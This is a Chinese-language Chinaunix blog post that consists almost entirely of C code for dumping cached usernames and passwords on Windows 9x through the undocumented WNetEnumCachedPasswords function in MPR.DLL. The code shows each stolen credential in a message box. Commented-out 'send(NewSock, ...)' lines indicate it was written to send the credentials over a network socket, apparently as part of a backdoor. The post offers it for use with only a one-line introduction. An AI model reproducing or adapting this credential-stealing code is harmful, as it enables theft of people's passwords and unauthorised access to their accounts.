Chinaunix首页 | 论坛 | 博客
  • 博客访问: 565956
  • 博文数量: 190
  • 博客积分: 10937
  • 博客等级: 上将
  • 技术积分: 2205
  • 用 户 组: 普通用户
  • 注册时间: 2009-04-07 11:28
文章分类

全部博文(190)

文章存档

2012年(1)

2011年(27)

2010年(20)

2009年(142)

我的朋友

分类: 系统运维

2010-04-21 16:53:26

用以下的代码可以做到(调用GetCachePW()即可):  
  #define   dwBuffSize   2048    
  LPTSTR   szReadBuff,Ob,TempBuff;    
  int   addrlen;    
  typedef   struct   tagPASSWORD_CACHE_ENTRY   {    
  WORD   cbEntry;    
  WORD   cbResource;    
  WORD   cbPassword;    
  BYTE   iEntry;    
  BYTE   nType;    
  char   abResource[1];    
  }   PASSWORD_CACHE_ENTRY;    
  typedef   BOOL   (WINAPI   *CACHECALLBACK)(PASSWORD_CACHE_ENTRY   *pce,DWORD);  
  typedef   WORD   (WINAPI   *PWNetEnumCachedPasswords)(    
  LPSTR   pbPrefix,    
  DWORD   cbPrefix,    
  DWORD   nType,    
  CACHECALLBACK   pfnCallback,    
  DWORD   UNKNOWN    
  );  
    BOOL   WINAPI   GetCachePW()   ;  
  BOOL   CALLBACK   GetPass(PASSWORD_CACHE_ENTRY   *pce,DWORD)    
  {    
  MoveMemory(szReadBuff,pce->abResource,pce->cbResource);    
  szReadBuff[pce->cbResource]=0;    
  CharToOem(szReadBuff,Ob);    
  wsprintf(TempBuff,"\n\n\r   (USERNAME):   %s   \n\r   (PASSWORD):   ",Ob);    
  MoveMemory(szReadBuff,pce->abResource+pce->cbResource,pce->cbPassword);    
  szReadBuff[pce->cbPassword]=0;    
  CharToOem(szReadBuff,Ob);    
  lstrcat(TempBuff,Ob);    
  MessageBox(0,TempBuff,"",MB_OK);  
  //send(NewSock,TempBuff,dwBuffSize,0);    
  return   TRUE;    
  }  
  BOOL   WINAPI   GetCachePW()    
  {    
  TCHAR   szTemp[MAX_PATH];    
  PWNetEnumCachedPasswords   WNetEnumCachedPasswords;    
  HINSTANCE   DLLinst=LoadLibrary("MPR.DLL");    
  if(!DLLinst)    
  {    
  return   FALSE;    
  }    
   
  wsprintf(szTemp,"\n\r   <<   Win   9x   Cache   Password   >>\n\r");    
  MessageBox(0,szTemp,"",MB_OK);  
  //send(NewSock,szTemp,lstrlen(szTemp),0);  
  WNetEnumCachedPasswords=(PWNetEnumCachedPasswords)    
  GetProcAddress(DLLinst,"WNetEnumCachedPasswords");    
  if(!WNetEnumCachedPasswords)    
  {    
  return   FALSE;    
  }    
  else    
  {    
  szReadBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);    
  Ob=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);    
  TempBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);    
  WNetEnumCachedPasswords(0,0,0xff,GetPass,0);    
  HeapFree(GetProcessHeap(),dwBuffSize,szReadBuff);    
  HeapFree(GetProcessHeap(),dwBuffSize,Ob);    
  HeapFree(GetProcessHeap(),dwBuffSize,TempBuff);    
  FreeLibrary(DLLinst);    
  }    
  return   TRUE;    
  }
阅读(1074) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~